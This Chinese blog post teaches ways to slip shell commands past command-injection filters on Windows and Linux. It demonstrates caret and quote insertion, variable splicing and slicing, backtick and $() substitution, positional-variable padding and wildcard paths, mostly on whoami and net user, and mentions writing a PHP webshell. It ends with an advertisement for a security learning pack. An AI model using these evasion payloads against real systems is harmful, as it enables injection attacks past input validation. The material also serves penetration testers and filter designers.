本文将为介绍有关windows和linux命令执行的时候各种绕过方式,仅供参考,如果还有其他的绕过方式,还请师傅们留言,让更多想要学习网安的朋友们学习,感谢。
Windows
我们在windows命令行中执行命令的时候,是不区分大小写的
C:\>WHOAMI yv\administrator
在命令行中可以有无数个"
C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator
不能有两个连续的^
C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator
在命令中如果 " 在^之前,此时"的数量必须为偶数
C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。
在命令中"在^之后,且带有参数,则”也需要带有偶数
C:\>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。
也可以使用()对命令进行包裹
C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。
()的数量不设上限
C:\>(((whoami))) yv\administrator
使用变量
简单拼接
%%局部分开每个变量
C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator
变量拼接方式二
C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator
变量拼接方式三
C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator
变量拼接方式四 ^
C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator
含有参数的命令,net user
C:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。
一次性执行多条命令
C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。
Windows环境变量切分
先设置一个变量
C:\>set cmd=whoami C:\>%cmd% yv\administrator
这个0,1表示的数组切片,代表前后切片的索引
C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa
也可以为负数,负数表示从右边开始数第几个
C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa
当然也能直接向外部写一个php一句话木马

image-20240812113353901
检查是否存在

image-20240812113248382
for循环执行命令
C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator
Linux
linux中是区分大小写的
┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found
运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行
┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root
& 用于后台执行命令,这个可能看不出来
┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto
我们使用ping 127.0.0.1 & whoami,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。
┌──(root㉿kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去,也停止不了。。。。
&&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了
┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found
|管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。
例如,我获取这个/data路径的下的所有包含boo的文件
┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot
||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。
┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
转义字符\
┌──(root㉿251ebe86465a)-[/] └─# who\ami root
'',(),$,``
`┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root `
命令引用
┌──(root㉿kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku
linux特有变量
$1,$*,$@,$n这个n表示除0以外的任意数字,都可以作为系统命令绕过的方式
┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$@ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami:未找到命令
linux通配符
我们以执行whoami这个命令来进行测试
┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root
Linux中命令中的命令
虽然会报错,但是命令也会正常执行
`┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root `
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)


👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
1026

被折叠的 条评论
为什么被折叠?



